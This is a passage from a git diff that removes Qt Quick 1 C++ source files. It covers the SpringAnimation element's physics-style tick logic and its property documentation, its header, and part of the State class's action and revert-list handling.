-** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativespringanimation_p.h" - -#include "QtQuick1/private/qdeclarativeanimation_p_p.h" -#include - -#include - -#include - -#include -#include - -QT_BEGIN_NAMESPACE - - - - -class QDeclarative1SpringAnimationPrivate : public QDeclarative1PropertyAnimationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1SpringAnimation) -public: - - - struct SpringAnimation { - SpringAnimation() - : currentValue(0), to(0), velocity(0), start(0), duration(0) {} - qreal currentValue; - qreal to; - qreal velocity; - int start; - int duration; - }; - QHash activeAnimations; - - qreal maxVelocity; - qreal velocityms; - int lastTime; - qreal mass; - qreal spring; - qreal damping; - qreal epsilon; - qreal modulus; - - bool useMass : 1; - bool haveModulus : 1; - - enum Mode { - Track, - Velocity, - Spring - }; - Mode mode; - - QDeclarative1SpringAnimationPrivate() - : maxVelocity(0), velocityms(0), lastTime(0) - , mass(1.0), spring(0.), damping(0.), epsilon(0.01) - , modulus(0.0), useMass(false), haveModulus(false) - , mode(Track), clock(0) - { } - - void tick(int time); - bool animate(const QDeclarativeProperty &property, SpringAnimation &animation, int elapsed); - void updateMode(); - - typedef QTickAnimationProxy_1 Clock; - Clock *clock; -}; - -void QDeclarative1SpringAnimationPrivate::tick(int time) -{ - if (mode == Track) { - clock->stop(); - return; - } - int elapsed = time - lastTime; - if (!elapsed) - return; - - if (mode == Spring) { - if (elapsed < 16) // capped at 62fps. - return; - int count = elapsed / 16; - lastTime = time - (elapsed - count * 16); - } else { - lastTime = time; - } - - QMutableHashIterator it(activeAnimations); - while (it.hasNext()) { - it.next(); - if (animate(it.key(), it.value(), elapsed)) - it.remove(); - } - - if (activeAnimations.isEmpty()) - clock->stop(); -} - -bool QDeclarative1SpringAnimationPrivate::animate(const QDeclarativeProperty &property, SpringAnimation &animation, int elapsed) -{ - qreal srcVal = animation.to; - - bool stop = false; - - if (haveModulus) { - animation.currentValue = fmod(animation.currentValue, modulus); - srcVal = fmod(srcVal, modulus); - } - if (mode == Spring) { - // Real men solve the spring DEs using RK4. - // We'll do something much simpler which gives a result that looks fine. - int count = elapsed / 16; - for (int i = 0; i < count; ++i) { - qreal diff = srcVal - animation.currentValue; - if (haveModulus && qAbs(diff) > modulus / 2) { - if (diff < 0) - diff += modulus; - else - diff -= modulus; - } - if (useMass) - animation.velocity = animation.velocity + (spring * diff - damping * animation.velocity) / mass; - else - animation.velocity = animation.velocity + spring * diff - damping * animation.velocity; - if (maxVelocity > 0.) { - // limit velocity - if (animation.velocity > maxVelocity) - animation.velocity = maxVelocity; - else if (animation.velocity < -maxVelocity) - animation.velocity = -maxVelocity; - } - animation.currentValue += animation.velocity * 16.0 / 1000.0; - if (haveModulus) { - animation.currentValue = fmod(animation.currentValue, modulus); - if (animation.currentValue < 0.0) - animation.currentValue += modulus; - } - } - if (qAbs(animation.velocity) < epsilon && qAbs(srcVal - animation.currentValue) < epsilon) { - animation.velocity = 0.0; - animation.currentValue = srcVal; - stop = true; - } - } else { - qreal moveBy = elapsed * velocityms; - qreal diff = srcVal - animation.currentValue; - if (haveModulus && qAbs(diff) > modulus / 2) { - if (diff < 0) - diff += modulus; - else - diff -= modulus; - } - if (diff > 0) { - animation.currentValue += moveBy; - if (haveModulus) - animation.currentValue = fmod(animation.currentValue, modulus); - } else { - animation.currentValue -= moveBy; - if (haveModulus && animation.currentValue < 0.0) - animation.currentValue = fmod(animation.currentValue, modulus) + modulus; - } - if (lastTime - animation.start >= animation.duration) { - animation.currentValue = animation.to; - stop = true; - } - } - - qreal old_to = animation.to; - - QDeclarativePropertyPrivate::write(property, animation.currentValue, - QDeclarativePropertyPrivate::BypassInterceptor | - QDeclarativePropertyPrivate::DontRemoveBinding); - - return (stop && old_to == animation.to); // do not stop if we got restarted -} - -void QDeclarative1SpringAnimationPrivate::updateMode() -{ - if (spring == 0. && maxVelocity == 0.) - mode = Track; - else if (spring > 0.) - mode = Spring; - else { - mode = Velocity; - QHash::iterator it; - for (it = activeAnimations.begin(); it != activeAnimations.end(); ++it) { - SpringAnimation &animation = *it; - animation.start = lastTime; - qreal dist = qAbs(animation.currentValue - animation.to); - if (haveModulus && dist > modulus / 2) - dist = modulus - fmod(dist, modulus); - animation.duration = dist / velocityms; - } - } -} - -/*! - \qmlclass SpringAnimation QDeclarative1SpringAnimation - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \inherits NumberAnimation - \since QtQuick 1.0 - - \brief The SpringAnimation element allows a property to track a value in a spring-like motion. - - SpringAnimation mimics the oscillatory behavior of a spring, with the appropriate \l spring constant to - control the acceleration and the \l damping to control how quickly the effect dies away. - - You can also limit the maximum \l velocity of the animation. - - The following \l Rectangle moves to the position of the mouse using a - SpringAnimation when the mouse is clicked. The use of the \l Behavior - on the \c x and \c y values indicates that whenever these values are - changed, a SpringAnimation should be applied. - - \snippet doc/src/snippets/qtquick1/springanimation.qml 0 - - Like any other animation element, a SpringAnimation can be applied in a - number of ways, including transitions, behaviors and property value - sources. The \l {QML Animation and Transitions} documentation shows a - variety of methods for creating animations. - - \sa SmoothedAnimation, {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example}, {declarative/toys/clocks}{Clocks example} -*/ - -QDeclarative1SpringAnimation::QDeclarative1SpringAnimation(QObject *parent) -: QDeclarative1NumberAnimation(*(new QDeclarative1SpringAnimationPrivate),parent) -{ - Q_D(QDeclarative1SpringAnimation); - d->clock = new QDeclarative1SpringAnimationPrivate::Clock(d, this); -} - -QDeclarative1SpringAnimation::~QDeclarative1SpringAnimation() -{ -} - -/*! - \qmlproperty real QtQuick1::SpringAnimation::velocity - - This property holds the maximum velocity allowed when tracking the source. - - The default value is 0 (no maximum velocity). -*/ - -qreal QDeclarative1SpringAnimation::velocity() const -{ - Q_D(const QDeclarative1SpringAnimation); - return d->maxVelocity; -} - -void QDeclarative1SpringAnimation::setVelocity(qreal velocity) -{ - Q_D(QDeclarative1SpringAnimation); - d->maxVelocity = velocity; - d->velocityms = velocity / 1000.0; - d->updateMode(); -} - -/*! - \qmlproperty real QtQuick1::SpringAnimation::spring - - This property describes how strongly the target is pulled towards the - source. The default value is 0 (that is, the spring-like motion is disabled). - - The useful value range is 0 - 5.0. - - When this property is set and the \l velocity value is greater than 0, - the \l velocity limits the maximum speed. -*/ -qreal QDeclarative1SpringAnimation::spring() const -{ - Q_D(const QDeclarative1SpringAnimation); - return d->spring; -} - -void QDeclarative1SpringAnimation::setSpring(qreal spring) -{ - Q_D(QDeclarative1SpringAnimation); - d->spring = spring; - d->updateMode(); -} - -/*! - \qmlproperty real QtQuick1::SpringAnimation::damping - This property holds the spring damping value. - - This parameter can be used to tweak the spring behaviour by exerting a resisting force - (like friction). - - The default value is 0. - - The useful value range is 0 - 1.0. The higher the value, the faster it - usually comes to rest. -*/ -qreal QDeclarative1SpringAnimation::damping() const -{ - Q_D(const QDeclarative1SpringAnimation); - return d->damping; -} - -void QDeclarative1SpringAnimation::setDamping(qreal damping) -{ - Q_D(QDeclarative1SpringAnimation); - if (damping > 1.) - damping = 1.; - - d->damping = damping; -} - - -/*! - \qmlproperty real QtQuick1::SpringAnimation::epsilon - This property holds the spring epsilon. - - The epsilon is the rate and amount of change in the value which is close enough - to 0 to be considered equal to zero. This will depend on the usage of the value. - For pixel positions, 0.25 would suffice. For scale, 0.005 will suffice. - - The default is 0.01. Tuning this value can provide small performance improvements. -*/ -qreal QDeclarative1SpringAnimation::epsilon() const -{ - Q_D(const QDeclarative1SpringAnimation); - return d->epsilon; -} - -void QDeclarative1SpringAnimation::setEpsilon(qreal epsilon) -{ - Q_D(QDeclarative1SpringAnimation); - d->epsilon = epsilon; -} - -/*! - \qmlproperty real QtQuick1::SpringAnimation::modulus - This property holds the modulus value. The default value is 0. - - Setting a \a modulus forces the target value to "wrap around" at the modulus. - For example, setting the modulus to 360 will cause a value of 370 to wrap around to 10. -*/ -qreal QDeclarative1SpringAnimation::modulus() const -{ - Q_D(const QDeclarative1SpringAnimation); - return d->modulus; -} - -void QDeclarative1SpringAnimation::setModulus(qreal modulus) -{ - Q_D(QDeclarative1SpringAnimation); - if (d->modulus != modulus) { - d->haveModulus = modulus != 0.0; - d->modulus = modulus; - d->updateMode(); - emit modulusChanged(); - } -} - -/*! - \qmlproperty real QtQuick1::SpringAnimation::mass - This property holds the "mass" of the property being moved. - - The value is 1.0 by default. - - A greater mass causes slower movement and a greater spring-like - motion when an item comes to rest. -*/ -qreal QDeclarative1SpringAnimation::mass() const -{ - Q_D(const QDeclarative1SpringAnimation); - return d->mass; -} - -void QDeclarative1SpringAnimation::setMass(qreal mass) -{ - Q_D(QDeclarative1SpringAnimation); - if (d->mass != mass && mass > 0.0) { - d->useMass = mass != 1.0; - d->mass = mass; - emit massChanged(); - } -} - -void QDeclarative1SpringAnimation::transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_D(QDeclarative1SpringAnimation); - Q_UNUSED(direction); - - if (d->clock->state() != QAbstractAnimation::Running) { - d->lastTime = 0; - } - - QDeclarative1NumberAnimation::transition(actions, modified, direction); - - if (!d->actions) - return; - - if (!d->actions->isEmpty()) { - for (int i = 0; i < d->actions->size(); ++i) { - const QDeclarativeProperty &property = d->actions->at(i).property; - QDeclarative1SpringAnimationPrivate::SpringAnimation &animation - = d->activeAnimations[property]; - animation.to = d->actions->at(i).toValue.toReal(); - animation.start = d->lastTime; - if (d->fromIsDefined) - animation.currentValue = d->actions->at(i).fromValue.toReal(); - else - animation.currentValue = property.read().toReal(); - if (d->mode == QDeclarative1SpringAnimationPrivate::Velocity) { - qreal dist = qAbs(animation.currentValue - animation.to); - if (d->haveModulus && dist > d->modulus / 2) - dist = d->modulus - fmod(dist, d->modulus); - animation.duration = dist / d->velocityms; - } - } - } -} - - -QAbstractAnimation *QDeclarative1SpringAnimation::qtAnimation() -{ - Q_D(QDeclarative1SpringAnimation); - return d->clock; -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativespringanimation_p.h b/src/qtquick1/util/qdeclarativespringanimation_p.h deleted file mode 100644 index c589f0e2a7..0000000000 --- a/src/qtquick1/util/qdeclarativespringanimation_p.h +++ /dev/null @@ -1,110 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVESPRINGANIMATION_H -#define QDECLARATIVESPRINGANIMATION_H - -#include -#include "QtQuick1/private/qdeclarativeanimation_p.h" - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1SpringAnimationPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1SpringAnimation : public QDeclarative1NumberAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1SpringAnimation) - Q_INTERFACES(QDeclarativePropertyValueSource) - - Q_PROPERTY(qreal velocity READ velocity WRITE setVelocity) - Q_PROPERTY(qreal spring READ spring WRITE setSpring) - Q_PROPERTY(qreal damping READ damping WRITE setDamping) - Q_PROPERTY(qreal epsilon READ epsilon WRITE setEpsilon) - Q_PROPERTY(qreal modulus READ modulus WRITE setModulus NOTIFY modulusChanged) - Q_PROPERTY(qreal mass READ mass WRITE setMass NOTIFY massChanged) - -public: - QDeclarative1SpringAnimation(QObject *parent=0); - ~QDeclarative1SpringAnimation(); - - qreal velocity() const; - void setVelocity(qreal velocity); - - qreal spring() const; - void setSpring(qreal spring); - - qreal damping() const; - void setDamping(qreal damping); - - qreal epsilon() const; - void setEpsilon(qreal epsilon); - - qreal mass() const; - void setMass(qreal modulus); - - qreal modulus() const; - void setModulus(qreal modulus); - - virtual void transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - -protected: - virtual QAbstractAnimation *qtAnimation(); - -Q_SIGNALS: - void modulusChanged(); - void massChanged(); - void syncChanged(); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1SpringAnimation) - -QT_END_HEADER - -#endif // QDECLARATIVESPRINGANIMATION_H diff --git a/src/qtquick1/util/qdeclarativestate.cpp b/src/qtquick1/util/qdeclarativestate.cpp deleted file mode 100644 index ad7e71c588..0000000000 --- a/src/qtquick1/util/qdeclarativestate.cpp +++ /dev/null @@ -1,735 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativestate_p_p.h" -#include "QtQuick1/private/qdeclarativestate_p.h" - -#include "QtQuick1/private/qdeclarativetransition_p.h" -#include "QtQuick1/private/qdeclarativestategroup_p.h" -#include "QtQuick1/private/qdeclarativestateoperations_p.h" -#include "QtQuick1/private/qdeclarativeanimation_p.h" -#include "QtQuick1/private/qdeclarativeanimation_p_p.h" - -#include -#include - -#include - -QT_BEGIN_NAMESPACE - - - -DEFINE_BOOL_CONFIG_OPTION(stateChangeDebug, STATECHANGE_DEBUG); - -QDeclarative1Action::QDeclarative1Action() -: restore(true), actionDone(false), reverseEvent(false), deletableToBinding(false), fromBinding(0), event(0), - specifiedObject(0) -{ -} - -QDeclarative1Action::QDeclarative1Action(QObject *target, const QString &propertyName, - const QVariant &value) -: restore(true), actionDone(false), reverseEvent(false), deletableToBinding(false), - property(target, propertyName, qmlEngine(target)), toValue(value), - fromBinding(0), event(0), - specifiedObject(target), specifiedProperty(propertyName) -{ - if (property.isValid()) - fromValue = property.read(); -} - -QDeclarative1Action::QDeclarative1Action(QObject *target, const QString &propertyName, - QDeclarativeContext *context, const QVariant &value) -: restore(true), actionDone(false), reverseEvent(false), deletableToBinding(false), - property(target, propertyName, context), toValue(value), - fromBinding(0), event(0), - specifiedObject(target), specifiedProperty(propertyName) -{ - if (property.isValid()) - fromValue = property.read(); -} - - -QDeclarative1ActionEvent::~QDeclarative1ActionEvent() -{ -} - -QString QDeclarative1ActionEvent::typeName() const -{ - return QString(); -} - -void QDeclarative1ActionEvent::execute(Reason) -{ -} - -bool QDeclarative1ActionEvent::isReversable() -{ - return false; -} - -void QDeclarative1ActionEvent::reverse(Reason) -{ -} - -bool QDeclarative1ActionEvent::changesBindings() -{ - return false; -} - -void QDeclarative1ActionEvent::clearBindings() -{ -} - -bool QDeclarative1ActionEvent::override(QDeclarative1ActionEvent *other) -{ - Q_UNUSED(other); - return false; -} - -QDeclarative1StateOperation::QDeclarative1StateOperation(QObjectPrivate &dd, QObject *parent) - : QObject(dd, parent) -{ -} - -/*! - \qmlclass State QDeclarative1State - \inqmlmodule QtQuick 1 - \ingroup qml-state-elements - \since QtQuick 1.0 - \brief The State element defines configurations of objects and properties. - - A \e state is a set of batched changes from the default configuration. - - All items have a default state that defines the default configuration of objects - and property values. New states can be defined by adding State items to the \l {Item::states}{states} property to - allow items to switch between different configurations. These configurations - can, for example, be used to apply different sets of property values or execute - different scripts. - - The following example displays a single \l Rectangle. In the default state, the rectangle - is colored black. In the "clicked" state, a PropertyChanges element changes the - rectangle's color to red. Clicking within the MouseArea toggles the rectangle's state - between the default state and the "clicked" state, thus toggling the color of the - rectangle between black and red. - - \snippet doc/src/snippets/qtquick1/state.qml 0 - - Notice the default state is referred to using an empty string (""). - - States are commonly used together with \l{QML Animation and Transitions}{Transitions} to provide - animations when state changes occur. - - \note Setting the state of an object from within another state of the same object is - not allowed. - - \sa {declarative/animation/states}{states example}, {qmlstates}{States}, - {QML Animation and Transitions}{Transitions}, QtDeclarative -*/ -QDeclarative1State::QDeclarative1State(QObject *parent) -: QObject(*(new QDeclarative1StatePrivate), parent) -{ - Q_D(QDeclarative1State); - d->transitionManager.setState(this); -} - -QDeclarative1State::~QDeclarative1State() -{ - Q_D(QDeclarative1State); - if (d->group) - d->group->removeState(this); -} - -/*! - \qmlproperty string QtQuick1::State::name - This property holds the name of the state. - - Each state should have a unique name within its item. -*/ -QString QDeclarative1State::name() const -{ - Q_D(const QDeclarative1State); - return d->name; -} - -void QDeclarative1State::setName(const QString &n) -{ - Q_D(QDeclarative1State); - d->name = n; - d->named = true; -} - -bool QDeclarative1State::isNamed() const -{ - Q_D(const QDeclarative1State); - return d->named; -} - -bool QDeclarative1State::isWhenKnown() const -{ - Q_D(const QDeclarative1State); - return d->when != 0; -} - -/*! - \qmlproperty bool QtQuick1::State::when - This property holds when the state should be applied. - - This should be set to an expression that evaluates to \c true when you want the state to - be applied. For example, the following \l Rectangle changes in and out of the "hidden" - state when the \l MouseArea is pressed: - - \snippet doc/src/snippets/qtquick1/state-when.qml 0 - - If multiple states in a group have \c when clauses that evaluate to \c true - at the same time, the first matching state will be applied. For example, in - the following snippet \c state1 will always be selected rather than - \c state2 when sharedCondition becomes \c true. - \qml - Item { - states: [ - State { name: "state1"; when: sharedCondition }, - State { name: "state2"; when: sharedCondition } - ] - // ... - } - \endqml -*/ -QDeclarativeBinding *QDeclarative1State::when() const -{ - Q_D(const QDeclarative1State); - return d->when; -} - -void QDeclarative1State::setWhen(QDeclarativeBinding *when) -{ - Q_D(QDeclarative1State); - d->when = when; - if (d->group) - d->group->updateAutoState(); -} - -/*! - \qmlproperty string QtQuick1::State::extend - This property holds the state that this state extends. - - When a state extends another state, it inherits all the changes of that state. - - The state being extended is treated as the base state in regards to - the changes specified by the extending state. -*/ -QString QDeclarative1State::extends() const -{ - Q_D(const QDeclarative1State); - return d->extends; -} - -void QDeclarative1State::setExtends(const QString &extends) -{ - Q_D(QDeclarative1State); - d->extends = extends; -} - -/*! - \qmlproperty list QtQuick1::State::changes - This property holds the changes to apply for this state - \default - - By default these changes are applied against the default state. If the state - extends another state, then the changes are applied against the state being - extended. -*/ -QDeclarativeListProperty QDeclarative1State::changes() -{ - Q_D(QDeclarative1State); - return QDeclarativeListProperty(this, &d->operations, QDeclarative1StatePrivate::operations_append, - QDeclarative1StatePrivate::operations_count, QDeclarative1StatePrivate::operations_at, - QDeclarative1StatePrivate::operations_clear); -} - -int QDeclarative1State::operationCount() const -{ - Q_D(const QDeclarative1State); - return d->operations.count(); -} - -QDeclarative1StateOperation *QDeclarative1State::operationAt(int index) const -{ - Q_D(const QDeclarative1State); - return d->operations.at(index); -} - -QDeclarative1State &QDeclarative1State::operator<<(QDeclarative1StateOperation *op) -{ - Q_D(QDeclarative1State); - d->operations.append(QDeclarative1StatePrivate::OperationGuard(op, &d->operations)); - return *this; -} - -void QDeclarative1StatePrivate::complete() -{ - Q_Q(QDeclarative1State); - - for (int ii = 0; ii < reverting.count(); ++ii) { - for (int jj = 0; jj < revertList.count(); ++jj) { - if (revertList.at(jj).property() == reverting.at(ii)) { - revertList.removeAt(jj); - break; - } - } - } - reverting.clear(); - - emit q->completed(); -} - -// Generate a list of actions for this state. This includes coelescing state -// actions that this state "extends" -QDeclarative1StateOperation::ActionList -QDeclarative1StatePrivate::generateActionList(QDeclarative1StateGroup *group) const -{ - QDeclarative1StateOperation::ActionList applyList; - if (inState) - return applyList; - - // Prevent "extends" recursion - inState = true; - - if (!extends.isEmpty()) { - QList states = group->states(); - for (int ii = 0; ii < states.count(); ++ii) - if (states.at(ii)->name() == extends) { - qmlExecuteDeferred(states.at(ii)); - applyList = static_cast(states.at(ii)->d_func())->generateActionList(group); - } - } - - foreach(QDeclarative1StateOperation *op, operations) - applyList << op->actions(); - - inState = false; - return applyList; -} - -QDeclarative1StateGroup *QDeclarative1State::stateGroup() const -{ - Q_D(const QDeclarative1State); - return d->group; -} - -void QDeclarative1State::setStateGroup(QDeclarative1StateGroup *group) -{ - Q_D(QDeclarative1State); - d->group = group; -} - -void QDeclarative1State::cancel() -{ - Q_D(QDeclarative1State); - d->transitionManager.cancel(); -} - -void QDeclarative1Action::deleteFromBinding() -{ - if (fromBinding) { - QDeclarativePropertyPrivate::setBinding(property, 0); - fromBinding->destroy(); - fromBinding = 0; - } -} - -bool QDeclarative1State::containsPropertyInRevertList(QObject *target, const QString &name) const -{ - Q_D(const QDeclarative1State); - - if (isStateActive()) { - QListIterator revertListIterator(d->revertList); - - while (revertListIterator.hasNext()) { - const QDeclarative1SimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) - return true; - } - } - - return false; -} - -bool QDeclarative1State::changeValueInRevertList(QObject *target, const QString &name, const QVariant &revertValue) -{ - Q_D(QDeclarative1State); - - if (isStateActive()) { - QMutableListIterator revertListIterator(d->revertList); - - while (revertListIterator.hasNext()) { - QDeclarative1SimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) { - simpleAction.setValue(revertValue); - return true; - } - } - } - - return false; -} - -bool QDeclarative1State::changeBindingInRevertList(QObject *target, const QString &name, QDeclarativeAbstractBinding *binding) -{ - Q_D(QDeclarative1State); - - if (isStateActive()) { - QMutableListIterator revertListIterator(d->revertList); - - while (revertListIterator.hasNext()) { - QDeclarative1SimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) { - if (simpleAction.binding()) - simpleAction.binding()->destroy(); - - simpleAction.setBinding(binding); - return true; - } - } - } - - return false; -} - -bool QDeclarative1State::removeEntryFromRevertList(QObject *target, const QString &name) -{ - Q_D(QDeclarative1State); - - if (isStateActive()) { - QMutableListIterator revertListIterator(d->revertList); - - while (revertListIterator.hasNext()) { - QDeclarative1SimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.property().object() == target && simpleAction.property().name() == name) { - QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(simpleAction.property()); - if (oldBinding) { - QDeclarativePropertyPrivate::setBinding(simpleAction.property(), 0); - oldBinding->destroy(); - } - - simpleAction.property().write(simpleAction.value()); - if (simpleAction.binding()) - QDeclarativePropertyPrivate::setBinding(simpleAction.property(), simpleAction.binding()); - - revertListIterator.remove(); - return true; - } - } - } - - return false; -} - -void QDeclarative1State::addEntryToRevertList(const QDeclarative1Action &action) -{ - Q_D(QDeclarative1State); - - QDeclarative1SimpleAction simpleAction(action); - - d->revertList.append(simpleAction); -} - -void QDeclarative1State::removeAllEntriesFromRevertList(QObject *target) -{ - Q_D(QDeclarative1State); - - if (isStateActive()) { - QMutableListIterator revertListIterator(d->revertList); - - while (revertListIterator.hasNext()) { - QDeclarative1SimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.property().object() == target) { - QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(simpleAction.property()); - if (oldBinding) { - QDeclarativePropertyPrivate::setBinding(simpleAction.property(), 0); - oldBinding->destroy(); - } - - simpleAction.property().write(simpleAction.value()); - if (simpleAction.binding()) - QDeclarativePropertyPrivate::setBinding(simpleAction.property(), simpleAction.binding()); - - revertListIterator.remove(); - } - } - } -} - -void QDeclarative1State::addEntriesToRevertList(const QList &actionList) -{ - Q_D(QDeclarative1State); - if (isStateActive()) { - QList simpleActionList; - - QListIterator actionListIterator(actionList); - while(actionListIterator.hasNext()) { - const QDeclarative1Action &action = actionListIterator.next(); - QDeclarative1SimpleAction simpleAction(action); - action.property.write(action.toValue); - if (!action.toBinding.isNull()) { - QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(simpleAction.property()); - if (oldBinding) - QDeclarativePropertyPrivate::setBinding(simpleAction.property(), 0); - QDeclarativePropertyPrivate::setBinding(simpleAction.property(), action.toBinding.data(), QDeclarativePropertyPrivate::DontRemoveBinding); - } - - simpleActionList.append(simpleAction); - } - - d->revertList.append(simpleActionList); - } -} - -QVariant QDeclarative1State::valueInRevertList(QObject *target, const QString &name) const -{ - Q_D(const QDeclarative1State); - - if (isStateActive()) { - QListIterator revertListIterator(d->revertList); - - while (revertListIterator.hasNext()) { - const QDeclarative1SimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) - return simpleAction.value(); - } - } - - return QVariant(); -} - -QDeclarativeAbstractBinding *QDeclarative1State::bindingInRevertList(QObject *target, const QString &name) const -{ - Q_D(const QDeclarative1State); - - if (isStateActive()) { - QListIterator revertListIterator(d->revertList); - - while (revertListIterator.hasNext()) { - const QDeclarative1SimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) - return simpleAction.binding(); - } - } - - return 0; -} - -bool QDeclarative1State::isStateActive() const -{ - return stateGroup() && stateGroup()->state() == name(); -} - -void QDeclarative1State::apply(QDeclarative1StateGroup *group, QDeclarative1Transition *trans, QDeclarative1State *revert) -{ - Q_D(QDeclarative1State); - - qmlExecuteDeferred(this); - - cancel(); - if (revert) - revert->cancel(); - d->revertList.clear(); - d->reverting.clear(); - - if (revert) { - QDeclarative1StatePrivate *revertPrivate = - static_cast(revert->d_func()); - d->revertList = revertPrivate->revertList; - revertPrivate->revertList.clear(); - } - - // List of actions caused by this state - QDeclarative1StateOperation::ActionList applyList = d->generateActionList(group); - - // List of actions that need to be reverted to roll back (just) this state - QDeclarative1StatePrivate::SimpleActionList additionalReverts; - // First add the reverse of all the applyList actions - for (int ii = 0; ii < applyList.count(); ++ii) { - QDeclarative1Action &action = applyList[ii]; - - if (action.event) { - if (!action.event->isReversable()) - continue; - bool found = false; - for (int jj = 0; jj < d->revertList.count(); ++jj) { - QDeclarative1ActionEvent *event = d->revertList.at(jj).event(); - if (event && event->typeName() == action.event->typeName()) { - if (action.event->override(event)) { - found = true; - - if (action.event != d->revertList.at(jj).event() && action.event->needsCopy()) { - action.event->copyOriginals(d->revertList.at(jj).event()); - - QDeclarative1SimpleAction r(action); - additionalReverts << r; - d->revertList.removeAt(jj); - --jj; - } else if (action.event->isRewindable()) //###why needed? - action.event->saveCurrentValues(); - - break; - } - } - } - if (!found) { - action.event->saveOriginals(); - // Only need to revert the applyList action if the previous - // state doesn't have a higher priority revert already - QDeclarative1SimpleAction r(action); - additionalReverts << r; - } - } else { - bool found = false; - action.fromBinding = QDeclarativePropertyPrivate::binding(action.property); - - for (int jj = 0; jj < d->revertList.count(); ++jj) { - if (d->revertList.at(jj).property() == action.property) { - found = true; - if (d->revertList.at(jj).binding() != action.fromBinding) { - action.deleteFromBinding(); - } - break; - } - } - - if (!found) { - if (!action.restore) { - action.deleteFromBinding();; - } else { - // Only need to revert the applyList action if the previous - // state doesn't have a higher priority revert already - QDeclarative1SimpleAction r(action); - additionalReverts << r; - } - } - } - } - - // Any reverts from a previous state that aren't carried forth - // into this state need to be translated into apply actions - for (int ii = 0; ii < d->revertList.count(); ++ii) { - bool found = false; - if (d->revertList.at(ii).event()) { - QDeclarative1ActionEvent *event = d->revertList.at(ii).event(); - if (!event->isReversable()) - continue; - for (int jj = 0; !found && jj < applyList.count(); ++jj) { - const QDeclarative1Action &action = applyList.at(jj); - if (action.event && action.event->typeName() == event->typeName()) { - if (action.event->override(event)) - found = true; - } - } - } else { - for (int jj = 0; !found && jj < applyList.count(); ++jj) { - const QDeclarative1Action &action = applyList.at(jj); - if (action.property == d->revertList.at(ii).property()) - found = true; - } - } - if (!found) { - QVariant cur = d->revertList.at(ii).property().read(); - QDeclarativeAbstractBinding *delBinding = - QDeclarativePropertyPrivate::setBinding(d->revertList.at(ii).property(), 0); - if (delBinding) - delBinding->destroy(); - - QDeclarative1Action a; - a.property = d->revertList.at(ii).property(); - a.fromValue = cur; - a.toValue = d->revertList.at(ii).value(); - a.toBinding = QDeclarativeAbstractBinding::getPointer(d->revertList.at(ii).binding()); - a.specifiedObject = d->revertList.at(ii).specifiedObject(); - a.specifiedProperty = 